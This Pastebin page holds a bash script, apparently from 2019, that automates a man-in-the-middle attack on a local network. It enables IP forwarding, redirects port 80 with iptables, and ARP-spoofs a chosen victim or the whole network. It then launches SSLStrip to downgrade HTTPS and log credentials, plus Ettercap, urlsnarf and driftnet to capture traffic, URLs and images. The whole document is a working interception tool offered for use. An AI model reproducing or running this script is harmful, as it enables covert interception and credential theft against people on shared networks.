Guest User

Untitled

a guest
Jan 16th, 2019
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.86 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. # Script for sniffing https connections.
  4. # Script use Arpspoof, SSLStrip, Ettercap, Urlsnarf and Driftnet.
  5. # Tested on BT5
  6. # BY gHero,cseven,spudgunman.
  7. # Ver 0.3
  8.  
  9. # ASCII sniff.sh
  10. echo '
  11. .__ _____ _____ .__
  12. ______ ____ |__|/ ____\/ ____\ _____| |__
  13. / ___// \| \ __\\ __\ / ___/ | \
  14. \___ \| | \ || | | | \___ \| Y \
  15. /____ >___| /__||__| |__| /\/____ >___| /
  16. \/ \/ \/ \/ \/
  17. '
  18.  
  19.  
  20. echo '1' > /proc/sys/net/ipv4/ip_forward
  21.  
  22. iptables --flush
  23. sleep 1
  24.  
  25. iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
  26.  
  27.  
  28. # Arpspoof
  29. echo -n -e "Would you like to ARP a (T)arget or full (N)etwork? ";
  30. read ARPOP
  31.  
  32. if [ "$ARPOP" == "T" ] ; then
  33. echo
  34. echo -e '\E[30;42m'"<Arpspoof Configuration>"; tput sgr0
  35. echo '------------------------'
  36. echo -n -e '\E[37;41m'"Client IP address: "; tput sgr0
  37. read IP1
  38. echo -n -e '\E[30;47m'"Router's IP address: "; tput sgr0
  39. read IP2
  40.  
  41. echo -n -e '\E[37;44m'"Enter your Interface for example <eth0 or wlan0>: "; tput sgr0
  42. read INT
  43. xterm -fg green4 -bg grey0 -e 'arpspoof -i '$INT' -t '$IP1' '$IP2'; bash' &
  44.  
  45. else
  46.  
  47. echo
  48. echo -e '\E[30;42m'"<Arpspoof Configuration>"; tput sgr0
  49. echo '------------------------'
  50. echo -n -e '\E[30;47m'"Router's IP address: "; tput sgr0
  51. read IP2
  52.  
  53. echo -n -e '\E[37;44m'"Enter your Interface for example <eth0 or wlan0>: "; tput sgr0
  54. read INT
  55. xterm -fg green4 -bg grey0 -e 'arpspoof -i '$INT' '$IP2'; bash' &
  56.  
  57. fi
  58.  
  59. # SSLSTRIP
  60. xterm -fg green4 -bg grey0 -e 'python /pentest/web/sslstrip/sslstrip.py -a -w ssl_log.txt ; bash' &
  61.  
  62. # ETTERCAP
  63. xterm -fg green4 -bg grey0 -e 'ettercap -T -q -i '$INT' ; bash' &
  64.  
  65. # URLSNARF
  66. xterm -fg green4 -bg grey0 -e 'urlsnarf -i '$INT' | grep http > urlsnarf_log.txt ; bash' &
  67.  
  68. # DRIFTNET
  69. driftnet -p -i $INT &
Add Comment
Please, Sign In to add comment